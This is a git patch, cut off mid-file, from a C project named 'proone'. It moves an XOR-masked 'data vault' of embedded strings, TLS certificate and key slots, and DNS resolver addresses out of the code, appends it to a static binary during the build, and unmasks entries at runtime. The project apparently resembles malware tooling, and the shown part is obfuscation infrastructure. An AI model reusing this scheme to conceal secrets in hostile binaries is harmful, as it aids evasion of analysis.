From 76d4d6b2bafada7b790e817b7324d53f3d3a0c7f Mon Sep 17 00:00:00 2001 From: David Timber Date: Thu, 20 Aug 2020 12:23:35 +0930 Subject: Progress ... * Move DVault out of executable. Dynamically load it on startup * Improved testing scheme * Tidy up prne_*assert* macro series * Protocol: store host credentials in base64 string. No mask * Use the lock shm as a shared_global so the stats can persist * mmap() the executable read-only for later use --- src/Makefile.am | 52 +++-- src/build-utils.sh | 69 ++++++ src/config.c | 2 - src/config.h | 64 +++++- src/data.c | 8 - src/data.h | 13 +- src/dvault.c | 225 ++++++++----------- src/dvault.h | 36 ++-- src/pack.c | 51 +++++ src/pack.h | 15 ++ src/proone-mask.c | 101 --------- src/proone-mkdvault.c | 243 +++++++++++++++++++++ src/proone-print-all-data.c | 44 ---- src/proone-readdvault.c | 0 src/proone-resolv.c | 4 +- src/proone-stress.c | 2 +- src/proone-test_proto.c | 13 +- src/proone.c | 512 +++++++++++++++++++++++++++++++------------- src/proone.h | 24 ++- src/protocol.c | 72 ++----- src/resolv.c | 144 +++++++------ src/resolv.h | 19 +- src/run-tests.sh | 12 ++ src/util_ct.h | 63 +++++- src/util_rt.c | 68 +----- src/util_rt.h | 15 -- 26 files changed, 1177 insertions(+), 694 deletions(-) create mode 100755 src/build-utils.sh delete mode 100644 src/data.c delete mode 100644 src/proone-mask.c create mode 100644 src/proone-mkdvault.c delete mode 100644 src/proone-print-all-data.c create mode 100644 src/proone-readdvault.c create mode 100755 src/run-tests.sh (limited to 'src') diff --git a/src/Makefile.am b/src/Makefile.am index 2c320a2..590157f 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -1,5 +1,7 @@ +BIN_ALIGNMENT = 8 + # TODO: Use -D_POSIX_C_SOURCE=200112L or -D_POSIX_C_SOURCE=2 -AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -D_GNU_SOURCE -Wno-unused-parameter +AM_CFLAGS = -std=c11 -pedantic -Wall -Wextra -Wno-switch -D_GNU_SOURCE -Wno-unused-parameter -DPRNE_BIN_ALIGNMENT=$(BIN_ALIGNMENT) if DEBUG AM_CFLAGS += -g -O0 -DPRNE_DEBUG else @@ -7,23 +9,28 @@ AM_CFLAGS += -g -Os endif noinst_LIBRARIES = libproone.a +my_DATA = proone testlist +mydir = $(bindir) bin_PROGRAMS =\ - proone\ + proone.bin\ + proone-mkdvault\ proone-pack\ proone-unpack\ proone-list-arch\ - proone-mask\ - proone-print-all-data\ proone-resolv\ proone-stress\ proone-ipaddr-arr +proone_tests =\ + proone-test_proto\ + proone-test_util +bin_PROGRAMS += $(proone_tests) + libproone_a_SOURCES =\ config.c\ protocol.c\ pack.c\ dvault.c\ - data.c\ util_rt.c\ llist.c\ iset.c\ @@ -32,11 +39,25 @@ libproone_a_SOURCES =\ pth.c\ resolv.c -proone_LDFLAGS = -static -proone_LDADD = libproone.a -proone_SOURCES =\ +proone: proone.bin dvault.bin + cp -fa proone.bin proone + ./build-utils.sh align-file $(BIN_ALIGNMENT) proone + ./build-utils.sh append-uint16 `stat -c "%s" dvault.bin` proone + ./build-utils.sh append-uint16 0 proone + ./build-utils.sh append-uint32 0 proone + cat dvault.bin >> proone + +proone_bin_LDFLAGS = -static +proone_bin_LDADD = libproone.a +proone_bin_SOURCES =\ proone.c +dvault.bin: proone-mkdvault + ./proone-mkdvault > dvault.bin + +proone_mkdvault_LDADD = libproone.a +proone_mkdvault_SOURCES = proone-mkdvault.c + proone_pack_LDADD = libproone.a proone_pack_LDFLAGS = proone_pack_SOURCES = proone-pack.c @@ -49,14 +70,6 @@ proone_list_arch_LDADD = libproone.a proone_list_arch_LDFLAGS = proone_list_arch_SOURCES = proone-list-arch.c -proone_mask_LDADD = libproone.a -proone_mask_LDFLAGS = -proone_mask_SOURCES = proone-mask.c - -proone_print_all_data_LDADD = libproone.a -proone_print_all_data_LDFLAGS = -proone_print_all_data_SOURCES = proone-print-all-data.c - proone_resolv_LDADD = libproone.a proone_resolv_LDFLAGS = proone_resolv_SOURCES = proone-resolv.c @@ -67,9 +80,6 @@ proone_stress_LDADD = libproone.a proone_stress_LDFLAGS = -static proone_stress_SOURCES = proone-stress.c -if TESTS -bin_PROGRAMS += proone-test_proto proone-test_util - proone_test_proto_LDADD = libproone.a proone_test_proto_LDFLAGS = proone_test_proto_SOURCES = proone-test_proto.c @@ -77,4 +87,6 @@ proone_test_proto_SOURCES = proone-test_proto.c proone_test_util_LDADD = libproone.a proone_test_util_LDFLAGS = proone_test_util_SOURCES = proone-test_util.c -endif + +testlist: $(proone_tests) + echo $(proone_tests) > testlist diff --git a/src/build-utils.sh b/src/build-utils.sh new file mode 100755 index 0000000..77ca1e0 --- /dev/null +++ b/src/build-utils.sh @@ -0,0 +1,69 @@ +#!/bin/bash +cmd_align-size () { + local aligned + + if [ $# -lt 2 ]; then + echo "Usage: $0 " >&2 + return 2 + fi + + let "aligned = $2 % $1" + if [ $aligned -eq 0 ]; then + aligned=$2 + else + let "aligned = ($2 / $1 + 1) * $1" + fi + + echo $aligned + + return 0 +} + +cmd_align-file () { + if [ $# -lt 2 ]; then + echo "Usage: $0 " >&2 + return 2 + fi + + truncate -s $("$SELF" align-size "$1" $(stat -c "%s" $2)) "$2" +} + +cmd_append-uint32 () { + local a b c d + + if [ $# -lt 2 ]; then + echo "Usage: $0 " >&2 + return 2 + fi + + let "a = ($1 & 0xFF000000) >> 24" + let "b = ($1 & 0x00FF0000) >> 16" + let "c = ($1 & 0x0000FF00) >> 8" + let "d = ($1 & 0x000000FF) >> 0" + a=$(printf "%X" $a) + b=$(printf "%X" $b) + c=$(printf "%X" $c) + d=$(printf "%X" $d) + printf "\\x$a\\x$b\\x$c\\x$d" >> "$2" +} + +cmd_append-uint16 () { + local a b + + if [ $# -lt 2 ]; then + echo "Usage: $0 " >&2 + return 2 + fi + + let "a = ($1 & 0xFF00) >> 8" + let "b = ($1 & 0x00FF) >> 0" + a=$(printf "%X" $a) + b=$(printf "%X" $b) + printf "\\x$a\\x$b" >> "$2" +} + +SELF="$0" +cmd="$1" +shift 1 + +"cmd_$cmd" $@ diff --git a/src/config.c b/src/config.c index f333c06..8d78947 100644 --- a/src/config.c +++ b/src/config.c @@ -1,8 +1,6 @@ #include "config.h" -const uint8_t PRNE_PROG_VER[16] = { 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c, 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f }; - const prne_arch_t prne_host_arch = #ifdef __GNUC__ #if defined(__i386__) diff --git a/src/config.h b/src/config.h index 0482493..13beaa4 100644 --- a/src/config.h +++ b/src/config.h @@ -6,5 +6,67 @@ #include -extern const uint8_t PRNE_PROG_VER[16]; +#if INTPTR_MAX == INT32_MAX + #define PRNE_HOST_WORDSIZE 32 +#elif INTPTR_MAX == INT64_MAX + #define PRNE_HOST_WORDSIZE 64 +#else + #error "FIXME!" +#endif + +#define PRNE_PROG_VER { 0x11, 0xf7, 0x6b, 0x87, 0x62, 0x1a, 0x47, 0x9c, 0xa2, 0x18, 0x5c, 0x55, 0x40, 0x33, 0x7c, 0x9f } extern const prne_arch_t prne_host_arch; + +#define PRNE_RESOLV_NS_IPV4_GOOGLE_A\ + 0x8, 0x8, 0x8, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 +#define PRNE_RESOLV_NS_IPV4_GOOGLE_B\ + 0x8, 0x8, 0x4, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 +#define PRNE_RESOLV_NS_IPV4_CLOUDFLARE_A\ + 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 +#define PRNE_RESOLV_NS_IPV4_CLOUDFLARE_B\ + 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 +#define PRNE_RESOLV_NS_IPV4_QUAD9_A\ + 0x9, 0x9, 0x9, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 +#define PRNE_RESOLV_NS_IPV4_QUAD9_B\ + 0x95, 0x70, 0x70, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 +#define PRNE_RESOLV_NS_IPV4_CLEANBROWSING_A\ + 0xb9, 0xe4, 0xa8, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 +#define PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B\ + 0xb9, 0xe4, 0xa9, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 +#define PRNE_RESOLV_NS_POOL_IPV4 {\ + PRNE_RESOLV_NS_IPV4_GOOGLE_A,\ + PRNE_RESOLV_NS_IPV4_GOOGLE_B,\ + PRNE_RESOLV_NS_IPV4_CLOUDFLARE_A,\ + PRNE_RESOLV_NS_IPV4_CLOUDFLARE_B,\ + PRNE_RESOLV_NS_IPV4_QUAD9_A,\ + PRNE_RESOLV_NS_IPV4_QUAD9_B,\ + PRNE_RESOLV_NS_IPV4_CLEANBROWSING_A,\ + PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B\ +} + +#define PRNE_RESOLV_NS_IPV6_GOOGLE_A\ + 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x88 +#define PRNE_RESOLV_NS_IPV6_GOOGLE_B\ + 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x44 +#define PRNE_RESOLV_NS_IPV6_CLOUDFLARE_A\ + 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11 +#define PRNE_RESOLV_NS_IPV6_CLOUDFLARE_B\ + 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x1 +#define PRNE_RESOLV_NS_IPV6_QUAD9_A\ + 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfe +#define PRNE_RESOLV_NS_IPV6_QUAD9_B\ + 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9 +#define PRNE_RESOLV_NS_IPV6_CLEANBROWSING_A\ + 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 +#define PRNE_RESOLV_NS_IPV6_CLEANBROWSING_B\ + 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 +#define PRNE_RESOLV_NS_POOL_IPV6 {\ + PRNE_RESOLV_NS_IPV6_GOOGLE_A,\ + PRNE_RESOLV_NS_IPV6_GOOGLE_B,\ + PRNE_RESOLV_NS_IPV6_CLOUDFLARE_A,\ + PRNE_RESOLV_NS_IPV6_CLOUDFLARE_B,\ + PRNE_RESOLV_NS_IPV6_QUAD9_A,\ + PRNE_RESOLV_NS_IPV6_QUAD9_B,\ + PRNE_RESOLV_NS_IPV6_CLEANBROWSING_A,\ + PRNE_RESOLV_NS_IPV6_CLEANBROWSING_B\ +} diff --git a/src/data.c b/src/data.c deleted file mode 100644 index a54772d..0000000 --- a/src/data.c +++ /dev/null @@ -1,8 +0,0 @@ -#include "data.h" -#include "config.h" - - -uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY] = { - // PRNE_DATA_KEY_PROC_LIM_SHM: "/31e4f17c-db76-4332-af48-fd9fb8453f8f" - (uint8_t*)"\x00\x7F\x00\x25\x09\x24\x82\xC5\x8F\x65\xF8\x96\x35\x02\xF5\xAD\xC9\xF4\x83\x60\xD2\x33\x21\xB1\x3F\xCB\x8C\x8E\x4E\xF8\x18\xBE\x06\x33\xC5\xC4\x43\x7D\x2C\xA3\x7B", -}; diff --git a/src/data.h b/src/data.h index ae6c260..bd13921 100644 --- a/src/data.h +++ b/src/data.h @@ -1,13 +1,20 @@ #pragma once -#include +#include "util_ct.h" typedef enum { PRNE_DATA_KEY_NONE = -1, + PRNE_DATA_KEY_PROG_VER, PRNE_DATA_KEY_PROC_LIM_SHM, + PRNE_DATA_KEY_X509_CA_CRT, + PRNE_DATA_KEY_X509_DH, + PRNE_DATA_KEY_X509_S_CRT, + PRNE_DATA_KEY_X509_S_KEY, + PRNE_DATA_KEY_X509_C_CRT, + PRNE_DATA_KEY_X509_C_KEY, + PRNE_DATA_KEY_RESOLV_NS_IPV4, + PRNE_DATA_KEY_RESOLV_NS_IPV6, NB_PRNE_DATA_KEY } prne_data_key_t; - -extern uint8_t *PRNE_DATA_DICT[NB_PRNE_DATA_KEY]; diff --git a/src/dvault.c b/src/dvault.c index 81bd7a7..3c548fe 100644 --- a/src/dvault.c +++ b/src/dvault.c @@ -8,56 +8,30 @@ #include -const uint8_t PRNE_DVAULT_MASK[] = { - 0xA2, 0x7A, 0x61, 0x65, 0x78, 0xBE, 0x95, 0x8A, 0xBF, 0x07, - 0x52, 0x8F, 0x0E, 0x6F, 0x0B, 0xD8, 0x5B, 0xD4, 0x77, 0x9D, - 0x39, 0x28, 0x72, 0xE2, 0x42, 0x5D, 0xE7, 0x92, 0xDD, 0xAF, - 0xF7, 0x90, 0x8B, 0x2D, 0x1F, 0xB1, 0x18, 0x4B, 0x3C, 0x32, - 0x58, 0xFC, 0x34, 0x94, 0xCA, 0x31, 0x43, 0xDB, 0x93, 0x55, - 0xB5, 0xEF, 0x02, 0x8E, 0x84, 0x22, 0x88, 0x86, 0xEE, 0xC6, - 0x44, 0xCB, 0xA3, 0xEC, 0x59, 0x8C, 0x8D, 0x7F, 0x6B, 0x0A, - 0x3D, 0xA7, 0x6E, 0x9F, 0x2A, 0x7B, 0x12, 0x7D, 0xBD, 0xF8, - 0x15, 0xAC, 0xF9, 0xD9, 0x3E, 0xF5, 0x38, 0xF4, 0x6D, 0xAB, - 0xE9, 0x4C, 0x0D, 0x3F, 0x71, 0xDF, 0xC0, 0xB9, 0xD5, 0xA6, - 0x53, 0xED, 0xE6, 0x82, 0x73, 0xC8, 0xA5, 0x08, 0x48, 0x1A, - 0x79, 0x05, 0x10, 0x75, 0xF3, 0xE4, 0x85, 0xEB, 0xDC, 0x2C, - 0x23, 0xCD, 0xBC, 0x1C, 0x45, 0x24, 0x5C, 0x26, 0x17, 0xB3, - 0xA0, 0xBB, 0x03, 0xC9, 0xA1, 0x56, 0x2F, 0x91, 0xCF, 0xFE, - 0xC2, 0xAE, 0x54, 0xE1, 0x00, 0x13, 0x9C, 0x5E, 0xAD, 0xB8, - 0xB6, 0x63, 0x9E, 0x7C, 0x87, 0x60, 0x51, 0xFD, 0xF0, 0x76, - 0x4E, 0x4A, 0x9B, 0x1D, 0xF1, 0x0F, 0x06, 0xD1, 0x68, 0x99, - 0x20, 0x81, 0x3A, 0xE3, 0x25, 0xAA, 0x36, 0x98, 0x62, 0x96, - 0xC4, 0x30, 0x37, 0x47, 0x2B, 0x3B, 0x80, 0x64, 0x21, 0x67, - 0xB0, 0xB4, 0x01, 0x89, 0xC1, 0x0C, 0x41, 0xC3, 0x57, 0xB2, - 0x9A, 0x35, 0xBA, 0xD7, 0x66, 0xE0, 0x19, 0xF2, 0x04, 0xFB, - 0x70, 0xD6, 0xFF, 0x40, 0x83, 0xDE, 0xD0, 0xB7, 0xA8, 0xEA, - 0x16, 0x49, 0xFA, 0xCC, 0x11, 0x46, 0xCE, 0xE8, 0x4F, 0xD2, - 0x4D, 0xE5, 0x27, 0x50, 0x6A, 0x74, 0xDA, 0xC7, 0xA4, 0xA9, - 0x5F, 0x97, 0x29, 0x14, 0x6C, 0x7E, 0x1E, 0xC5, 0x5A, 0x1B, - 0x33, 0x69, 0x09, 0x2E, 0xD3, 0xF6 -}; - -static uint8_t *unmasked_buf = NULL; -static size_t unmasked_buf_size = 0; -static bool unmasked = false; - - -static void invert_entry (const prne_data_key_t key, size_t *len) { - const size_t entry_size = prne_dvault_get_entry_size(key); +static uint8_t *m_data = NULL; +static const uint8_t *m_mask = NULL; +static uint16_t *m_offsets = NULL; +static uint8_t *m_unmasked = NULL; +static size_t m_unmasked_size = 0; +static uint8_t m_salt; - if (len != NULL) { - *len = entry_size; - } - memcpy(unmasked_buf, PRNE_DATA_DICT[key] + 4, entry_size); - prne_dvault_invert_mem(entry_size, unmasked_buf, prne_dvault_get_entry_salt(key)); - unmasked = true; -} -static void entry_check (const prne_data_key_t key, const prne_data_type_t type) { - if (!(PRNE_DATA_KEY_NONE < key && key < NB_PRNE_DATA_KEY) || - !(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE) || - type != prne_dvault_get_entry_data_type(key)) { - abort(); +static void invert_entry (const prne_data_key_t key, prne_data_type_t *type, const uint8_t **data_start, size_t *len) { + size_t entry_len; + + m_salt = m_data[m_offsets[key]]; + m_unmasked = m_data + m_offsets[key] + 1; + prne_dvault_invert_mem(3, m_unmasked, m_salt, 0, m_mask); + + *type = (prne_data_type_t)m_unmasked[0]; + entry_len = ((size_t)m_unmasked[1] << 8) | ((size_t)m_unmasked[2] << 0); + m_unmasked_size = 3 + entry_len; + *data_start = m_unmasked + 3; + + prne_dvault_invert_mem(entry_len, m_unmasked + 3, m_salt, 3, m_mask); + + if (len != NULL) { + *len = entry_len; } } @@ -81,135 +55,122 @@ prne_data_type_t prne_data_type_fstr (const char *str) { return PRNE_DATA_TYPE_NONE; } -void prne_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt) { +void prne_dvault_invert_mem (const size_t size, void *m, const uint8_t salt, const size_t salt_ofs, const uint8_t *mask) { size_t i; for (i = 0; i < size; i += 1) { - m[i] ^= PRNE_DVAULT_MASK[(i + (size_t)salt) % 256]; + ((uint8_t*)m)[i] ^= mask[(i + salt_ofs + (size_t)salt) % 256]; } } void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r) { r->result = PRNE_DVAULT_MASK_OK; - r->str = NULL; - r->str_len = 0; + r->data = NULL; + r->size = 0; } void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r) { - prne_free(r->str); - r->str_len = 0; - r->str = NULL; + prne_free(r->data); + r->size = 0; + r->data = NULL; r->result = PRNE_DVAULT_MASK_OK; } -prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data) { - size_t i; +prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const uint8_t *mask, const size_t data_size, const uint8_t *data) { prne_dvault_mask_result_t ret; - char *p; prne_init_dvault_mask_result(&ret); - if (data_size > 0xFFFF) { + if (data_size > 0xFFFF - 4) { ret.result = PRNE_DVAULT_MASK_TOO_LARGE; return ret; } - if (!(PRNE_DATA_TYPE_NONE < type && type < NB_PRNE_DATA_TYPE)) { - ret.result = PRNE_DVAULT_MASK_INVALID_TYPE; - return ret; - } + ret.size = data_size + 4; - ret.str_len = 4 * 4 + 4 * data_size + 1; - ret.str = prne_malloc(1, ret.str_len); - if (ret.str == NULL) { + ret.data = prne_malloc(1, ret.size); + if (ret.data == NULL) { ret.result = PRNE_DVAULT_MASK_MEM_ERR; - ret.str_len = 0; + ret.size = 0; return ret; } - p = ret.str; - p[0] = p[4] = p[8] = p[12] = '\\'; - p[1] = p[5] = p[9] = p[13] = 'x'; - prne_hex_tochar((uint_fast8_t)type, p + 2, true); - prne_hex_tochar((uint_fast8_t)salt, p + 6, true); - prne_hex_tochar((uint_fast8_t)((0xFF00 & (uint_fast16_t)data_size) >> 8), p + 10, true); - prne_hex_tochar((uint_fast8_t)((0x00FF & (uint_fast16_t)data_size) >> 0), p + 14, true); - p += 16; - for (i = 0; i < data_size; i += 1) { - p[0] = '\\'; - p[1] = 'x'; - prne_hex_tochar(data[i] ^ PRNE_DVAULT_MASK[(i + (size_t)salt) % 256], p + 2, true); - p += 4; - } - *p = 0; + ret.data[0] = salt; + ret.data[1] = (uint8_t)type; + ret.data[2] = (uint8_t)((0xFF00 & (uint_fast16_t)data_size) >> 8); + ret.data[3] = (uint8_t)((0x00FF & (uint_fast16_t)data_size) >> 0); + memcpy(ret.data + 4, data, data_size); + + prne_dvault_invert_mem(ret.size - 1, ret.data + 1, salt, 0, mask); return ret; } -void prne_init_dvault (void) { - size_t max_size = 0; - size_t entry_size; - prne_data_key_t i; - - for (i = PRNE_DATA_KEY_NONE + 1; i < NB_PRNE_DATA_KEY; i += 1) { - entry_size = prne_dvault_get_entry_size(i); - switch (prne_dvault_get_entry_data_type(i)) { - case PRNE_DATA_TYPE_CSTR: - entry_size += 1; - break; - } - - if (entry_size > max_size) { - max_size = entry_size; - } +const char *prne_dvault_mask_result_tostr (const prne_dvault_mask_result_code_t code) { + switch (code) { + case PRNE_DVAULT_MASK_OK: return "ok"; + case PRNE_DVAULT_MASK_MEM_ERR: return "memory error"; + case PRNE_DVAULT_MASK_TOO_LARGE: return "data too large"; + case PRNE_DVAULT_MASK_INVALID_TYPE: return "invalid type"; } + return NULL; +} - if (max_size == 0) { - abort(); - } - unmasked_buf = prne_calloc(1, max_size); - unmasked_buf_size = max_size; - if (unmasked_buf == NULL) { - abort(); +void prne_init_dvault (const void *m) { + prne_dbgast(m_mask == NULL && m_offsets == NULL && m_data == NULL && m_unmasked == NULL); + + m_data = (uint8_t*)m; + m_mask = (uint8_t*)m + 0; + m_offsets = (uint16_t*)((uint8_t*)m + 256); + + prne_dvault_invert_mem(NB_PRNE_DATA_KEY * 2, m_offsets, 0, 0, m_mask); + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + m_offsets[i] = prne_be16toh(m_offsets[i]); } - unmasked = false; } void prne_deinit_dvault (void) { - prne_free(unmasked_buf); - unmasked_buf = NULL; - unmasked_buf_size = 0; - unmasked = false; -} + prne_dbgast(m_mask != NULL && m_offsets != NULL && m_data != NULL); -prne_data_type_t prne_dvault_get_entry_data_type (const prne_data_key_t key) { - return (prne_data_type_t)PRNE_DATA_DICT[key][0]; -} + prne_dvault_reset(); + + for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) { + m_offsets[i] = prne_be16toh(m_offsets[i]); + } + prne_dvault_invert_mem(NB_PRNE_DATA_KEY * 2, m_offsets, 0, 0, m_mask); -size_t prne_dvault_get_entry_size (const prne_data_key_t key) { - return (size_t)PRNE_DATA_DICT[key][2] << 8 | (size_t)PRNE_DATA_DICT[key][3]; + m_mask = NULL; + m_offsets = NULL; + m_data = NULL; } -uint8_t prne_dvault_get_entry_salt (const prne_data_key_t key) { - return PRNE_DATA_DICT[key][1]; +static const uint8_t *dvault_get_bin (const prne_data_key_t key, const prne_data_type_t desired, size_t *len) { + const uint8_t *data_start; + prne_data_type_t type; + + prne_dvault_reset(); + invert_entry(key, &type, &data_start, len); + prne_dbgast(type == desired); + + return data_start; } -char *prne_dvault_unmask_entry_cstr (const prne_data_key_t key, size_t *len) { - prne_dvault_reset_dict(); - entry_check(key, PRNE_DATA_TYPE_CSTR); - invert_entry(key, len); - return (char*)unmasked_buf; +const char *prne_dvault_get_cstr (const prne_data_key_t key, size_t *len) { + const char *ret = (const char*)dvault_get_bin(key, PRNE_DATA_TYPE_CSTR, len); + + if (len != NULL) { + *len -= 1; + } + return ret; } -void prne_dvault_unmask_entry_bin (const prne_data_key_t key, const uint8_t **data, size_t *len) { - prne_dvault_reset_dict(); - entry_check(key, PRNE_DATA_TYPE_BIN); - invert_entry(key, len); - *data = unmasked_buf; +const uint8_t *prne_dvault_get_bin (const prne_data_key_t key, size_t *len) { + return dvault_get_bin(key, PRNE_DATA_TYPE_BIN, len); } -void prne_dvault_reset_dict (void) { - if (unmasked) { - memzero(unmasked_buf, unmasked_buf_size); - unmasked = false; +void prne_dvault_reset (void) { + if (m_unmasked != NULL) { + prne_dvault_invert_mem(m_unmasked_size, m_unmasked, m_salt, 0, m_mask); + m_unmasked = NULL; + m_unmasked_size = 0; } } diff --git a/src/dvault.h b/src/dvault.h index 2e13c68..6c69f98 100644 --- a/src/dvault.h +++ b/src/dvault.h @@ -8,6 +8,7 @@ typedef struct prne_dvault_mask_result prne_dvault_mask_result_t; +typedef struct prne_dvault prne_dvault_t; typedef enum { PRNE_DATA_TYPE_NONE = -1, @@ -27,27 +28,34 @@ typedef enum { } prne_dvault_mask_result_code_t; struct prne_dvault_mask_result { - size_t str_len; - char *str; + size_t size; + uint8_t *data; prne_dvault_mask_result_code_t result; }; -extern const uint8_t PRNE_DVAULT_MASK[256]; - const char *prne_data_type_tostr (const prne_data_type_t t); prne_data_type_t prne_data_type_fstr (const char *str); -void prne_dvault_invert_mem (const size_t size, uint8_t *m, const uint8_t salt); +void prne_dvault_invert_mem (const size_t size, void *m, const uint8_t salt, const size_t salt_ofs, const uint8_t *mask); void prne_init_dvault_mask_result (prne_dvault_mask_result_t *r); void prne_free_dvault_mask_result (prne_dvault_mask_result_t *r); -prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const size_t data_size, const uint8_t *data); - -void prne_init_dvault (void); +prne_dvault_mask_result_t prne_dvault_mask (const prne_data_type_t type, const uint8_t salt, const uint8_t *mask, const size_t data_size, const uint8_t *data); +const char *prne_dvault_mask_result_tostr (const prne_dvault_mask_result_code_t code); + +/* prne_init_dvault(const void *m) +* +* ARGS: +* m: pointer to start of readable and writable a dvault made by +* proone-mkdvault. This region of memory must be writable. +*/ +void prne_init_dvault (const void *m); +/* prne_deinit_dvault (const void *m) +* +* Calls prne_dvault_reset(). Revert changes to the data vault memory. +*/ void prne_deinit_dvault (void); -prne_data_type_t prne_dvault_get_entry_data_type (const prne_data_key_t key); -size_t prne_dvault_get_entry_size (const prne_data_key_t key); -uint8_t prne_dvault_get_entry_salt (const prne_data_key_t key); -char *prne_dvault_unmask_entry_cstr (const prne_data_key_t key, size_t *len); -void prne_dvault_unmask_entry_bin (const prne_data_key_t key, const uint8_t **data, size_t *len); -void prne_dvault_reset_dict (void); +// len: strlen() +const char *prne_dvault_get_cstr (const prne_data_key_t key, size_t *len); +const uint8_t *prne_dvault_get_bin (const prne_data_key_t key, size_t *len); +void prne_dvault_reset (void); diff --git a/src/pack.c b/src/pack.c index 96ca4d8..b3645e4 100644 --- a/src/pack.c +++ b/src/pack.c @@ -304,3 +304,54 @@ char *prne_pack_ret_tostr (const prne_pack_ret_t pr) { } return buf; } + +void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) { + ctx->line_len = 0; + ctx->out_len = 0; +} + +void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx) { + ctx->line_len = 0; + ctx->out_len = 0; +} + +prne_pack_ret_t prne_stdin_base64_rf (void *in_ctx, const size_t req, uint8_t *out, size_t *out_len) { + prne_stdin_base64_rf_ctx_t *ctx = (prne_stdin_base64_rf_ctx_t*)in_ctx; + size_t rem = req, have; + prne_pack_ret_t ret; + + ret.rc = PRNE_PACK_RC_OK; + ret.err = 0; + *out_len = 0; + + while (true) { + have = prne_op_min(rem, ctx->out_len); + memcpy(out, ctx->out_buf, have); + memmove(ctx->out_buf, ctx->out_buf + have, ctx->out_len - have); + rem -= have; + ctx->out_len -= have; + out += have; + *out_len += have; + + if (rem == 0) { + break; + } + + if (fgets(ctx->line_buf, sizeof(ctx->line_buf), stdin) == NULL) { + if (feof(stdin)) { + break; + } + ret.rc = PRNE_PACK_RC_ERRNO; + ret.err = errno; + break; + } + ctx->line_len = prne_str_shift_spaces(ctx->line_buf, strlen(ctx->line_buf)); + + if ((ret.err = mbedtls_base64_decode(ctx->out_buf, sizeof(ctx->out_buf), &ctx->out_len, (unsigned char*)ctx->line_buf, ctx->line_len)) != 0) { + ret.rc = PRNE_PACK_RC_MBEDTLS_ERR; + break; + } + } + + return ret; +} diff --git a/src/pack.h b/src/pack.h index 72b5404..dce0eeb 100644 --- a/src/pack.h +++ b/src/pack.h @@ -40,6 +40,17 @@ struct prne_pack_ret { int err; }; +struct prne_stdin_base64_rf_ctx; +typedef struct prne_stdin_base64_rf_ctx prne_stdin_base64_rf_ctx_t; + +struct prne_stdin_base64_rf_ctx { + size_t line_len; + size_t out_len; + char line_buf[78]; + uint8_t out_buf[58]; +}; + + typedef prne_pack_ret_t(*prne_bin_archive_read_ft)(void *ctx, const size_t req, uint8_t *out, size_t *out_len); @@ -53,3 +64,7 @@ ssize_t prne_do_unpack (prne_unpack_ctx_pt ctx, uint8_t *out, const size_t out_l // WARN: uses stdio func char *prne_pack_ret_tostr (const prne_pack_ret_t pr); + +void prne_init_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); +void prne_free_stdin_base64_rf_ctx (prne_stdin_base64_rf_ctx_t *ctx); +prne_pack_ret_t prne_stdin_base64_rf (void *ctx, const size_t req, uint8_t *out, size_t *out_len); diff --git a/src/proone-mask.c b/src/proone-mask.c deleted file mode 100644 index 